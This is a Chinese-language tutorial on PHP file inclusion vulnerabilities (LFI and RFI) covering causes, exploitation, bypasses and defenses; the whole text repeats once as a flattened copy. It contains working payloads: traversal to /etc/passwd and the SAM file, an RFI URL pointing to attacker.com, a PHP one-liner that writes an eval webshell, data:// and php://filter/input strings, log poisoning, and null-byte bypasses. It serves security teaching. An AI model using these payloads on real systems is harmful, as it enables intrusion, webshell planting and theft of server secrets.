一文详解文件包含漏洞
字数 2124 2025-08-10 22:07:53

文件包含漏洞详解

1. 文件包含漏洞介绍

1.1 漏洞解释

文件包含漏洞是指当使用函数包含任意文件时,由于对文件来源过滤不严谨,导致可以包含恶意文件并执行其中的代码,从而达到攻击目的的安全漏洞。

1.2 漏洞原理

开发过程中,开发者会将重复代码单独写在文件中,通过函数调用这些文件。如果这些包含操作使用用户可控的变量作为参数,且未做充分安全防护,就会导致文件包含漏洞。

2. 文件包含函数

2.1 常见文件包含函数

  • PHP: include(), include_once(), require(), require_once()
  • JSP/Servlet: java.io.file(), java.io.filereader()
  • ASP: include file, include virtual

2.2 PHP函数区别

函数 区别
include 包含文件发生错误时警告但继续执行
include_once 同include,但会检查文件是否已导入
require 包含文件发生错误时终止执行
require_once 同require,但会检查文件是否已导入

3. 漏洞特征与分类

3.1 漏洞特征

URL中常见特征(不保证一定存在漏洞):

http://www.xxx.com/index.php/?name=x.php
http://www.xxx.com/index.php/?file=index2

3.2 漏洞分类

  1. 本地文件包含(LFI)

    • 通过包含本地文件路径加载恶意文件
    • 示例代码:
      <?php 
      $filename=$_GET['name'];
      include($filename); 
      ?>
      
  2. 远程文件包含(RFI)

    • 包含远程服务器上的恶意文件
    • 前提条件: php.ini中allow_url_fopen和allow_url_include为ON
    • 示例:
      <?php 
      $filename=$_GET['name']; 
      include($filename); 
      ?>
      
      攻击者访问: http://victim.com/1.php/?name=http://attacker.com/malicious.php

4. 漏洞危害与特点

4.1 危害

  • 读取服务器敏感文件(配置文件、密码文件等)
  • 与webshell联动执行恶意代码
  • 远程文件包含危害通常更大

4.2 特点

  1. 无视文件扩展名
    • 即使文件后缀为.jpg/.txt等,只要内容符合PHP语法也会被执行
  2. 无条件解析PHP代码
    • 遇到符合PHP语法的代码即执行

5. 漏洞利用方式

5.1 判断服务器类型

  • Linux: 严格区分大小写
  • Windows: 不区分大小写

5.2 敏感文件读取

  1. 绝对路径读取

    • Windows示例:
      c:\boot.ini
      c:\windows\system32\inetsrv\MetaBase.xml
      c:\windows\repair\sam
      
    • Linux示例:
      /etc/passwd
      /usr/local/app/apache2/conf/httpd.conf
      /etc/my.cnf
      
  2. 相对路径读取

    • 使用../逐级回退
    • 示例: http://victim.com/1.php/?name=../../../../etc/passwd
    • 可多输入../,系统会自动截断到根目录

5.3 远程文件配合一句话木马

攻击者PHP代码:

<?php fputs(fopen("shell.php", "w"),"<?php @eval($_POST['pass']);?>");?>

访问后生成shell.php,可使用蚁剑连接

5.4 伪协议利用

  1. file协议

    • 示例: ?name=file://C:/Windows/win.ini
  2. http协议

    • 示例: ?name=http://www.baidu.com
  3. data协议

    • 需要allow_url_include和allow_url_fopen为ON
    • 示例: ?name=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
  4. php协议

    • php://filter读取文件:
      ?name=php://filter/read=convert.base64-encode/resource=2.php
      
    • php://input执行代码(需POST请求):
      ?name=php://input
      

5.5 日志文件包含

  1. 日志文件位置

    • Apache:
      • Windows: apache安装目录/logs/
      • Linux: /var/log/apache/
    • Nginx:
      • Windows: nginx安装目录/logs/
      • Linux: /var/log/nginx/
    • IIS:
      • IIS6: C:\windows\system32\LogFiles
      • IIS7: %SystemDrive%\inetpub\logs\LogFiles
  2. 利用方式

    • 访问http://victim.com/<?php phpinfo();?>
    • 包含日志文件: ?name=../Apache/logs/access.log

6. 漏洞绕过方式

6.1 本地文件包含绕过

  1. 空字符绕过

    • 条件: PHP<5.3.4且关闭魔术引导
    • 示例: ?name=2.php%00
  2. 超长字符绕过

    • 利用系统目录长度限制(Windows≤256字节, Linux≤4096字节)
    • 示例: ?name=2.php/././././..././././

6.2 远程文件包含绕过

  1. 空字符绕过: 同本地
  2. 超长字符绕过: 主要使用./
  3. ?绕过: 在URL后添加?
  4. #绕过: 使用编码%23
  5. 空格绕过: 使用编码%20

7. 防御措施

  1. 设置白名单: 限制可包含的文件名
  2. 过滤危险字符: 检查../等目录遍历字符
  3. 设置文件目录: 通过open_basedir限制PHP可访问目录
  4. 关闭危险配置:
    • 关闭allow_url_include
    • 关闭allow_url_fopen
  5. 更新PHP版本: 避免使用存在已知漏洞的旧版本
文件包含漏洞详解 1. 文件包含漏洞介绍 1.1 漏洞解释 文件包含漏洞是指当使用函数包含任意文件时,由于对文件来源过滤不严谨,导致可以包含恶意文件并执行其中的代码,从而达到攻击目的的安全漏洞。 1.2 漏洞原理 开发过程中,开发者会将重复代码单独写在文件中,通过函数调用这些文件。如果这些包含操作使用用户可控的变量作为参数,且未做充分安全防护,就会导致文件包含漏洞。 2. 文件包含函数 2.1 常见文件包含函数 PHP : include(), include_ once(), require(), require_ once() JSP/Servlet : java.io.file(), java.io.filereader() ASP : include file, include virtual 2.2 PHP函数区别 | 函数 | 区别 | |------|------| | include | 包含文件发生错误时警告但继续执行 | | include_ once | 同include,但会检查文件是否已导入 | | require | 包含文件发生错误时终止执行 | | require_ once | 同require,但会检查文件是否已导入 | 3. 漏洞特征与分类 3.1 漏洞特征 URL中常见特征(不保证一定存在漏洞): 3.2 漏洞分类 本地文件包含(LFI) 通过包含本地文件路径加载恶意文件 示例代码: 远程文件包含(RFI) 包含远程服务器上的恶意文件 前提条件: php.ini中allow_ url_ fopen和allow_ url_ include为ON 示例: 攻击者访问: http://victim.com/1.php/?name=http://attacker.com/malicious.php 4. 漏洞危害与特点 4.1 危害 读取服务器敏感文件(配置文件、密码文件等) 与webshell联动执行恶意代码 远程文件包含危害通常更大 4.2 特点 无视文件扩展名 即使文件后缀为.jpg/.txt等,只要内容符合PHP语法也会被执行 无条件解析PHP代码 遇到符合PHP语法的代码即执行 5. 漏洞利用方式 5.1 判断服务器类型 Linux : 严格区分大小写 Windows : 不区分大小写 5.2 敏感文件读取 绝对路径读取 Windows示例: Linux示例: 相对路径读取 使用 ../ 逐级回退 示例: http://victim.com/1.php/?name=../../../../etc/passwd 可多输入 ../ ,系统会自动截断到根目录 5.3 远程文件配合一句话木马 攻击者PHP代码: 访问后生成shell.php,可使用蚁剑连接 5.4 伪协议利用 file协议 示例: ?name=file://C:/Windows/win.ini http协议 示例: ?name=http://www.baidu.com data协议 需要allow_ url_ include和allow_ url_ fopen为ON 示例: ?name=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= php协议 php://filter读取文件: php://input执行代码(需POST请求): 5.5 日志文件包含 日志文件位置 Apache: Windows: apache安装目录/logs/ Linux: /var/log/apache/ Nginx: Windows: nginx安装目录/logs/ Linux: /var/log/nginx/ IIS: IIS6: C:\windows\system32\LogFiles IIS7: %SystemDrive%\inetpub\logs\LogFiles 利用方式 访问 http://victim.com/<?php phpinfo();?> 包含日志文件: ?name=../Apache/logs/access.log 6. 漏洞绕过方式 6.1 本地文件包含绕过 空字符绕过 条件: PHP <5.3.4且关闭魔术引导 示例: ?name=2.php%00 超长字符绕过 利用系统目录长度限制(Windows≤256字节, Linux≤4096字节) 示例: ?name=2.php/././././..././././ 6.2 远程文件包含绕过 空字符绕过 : 同本地 超长字符绕过 : 主要使用 ./ ?绕过 : 在URL后添加? #绕过 : 使用编码 %23 空格绕过 : 使用编码 %20 7. 防御措施 设置白名单 : 限制可包含的文件名 过滤危险字符 : 检查 ../ 等目录遍历字符 设置文件目录 : 通过open_ basedir限制PHP可访问目录 关闭危险配置 : 关闭allow_ url_ include 关闭allow_ url_ fopen 更新PHP版本 : 避免使用存在已知漏洞的旧版本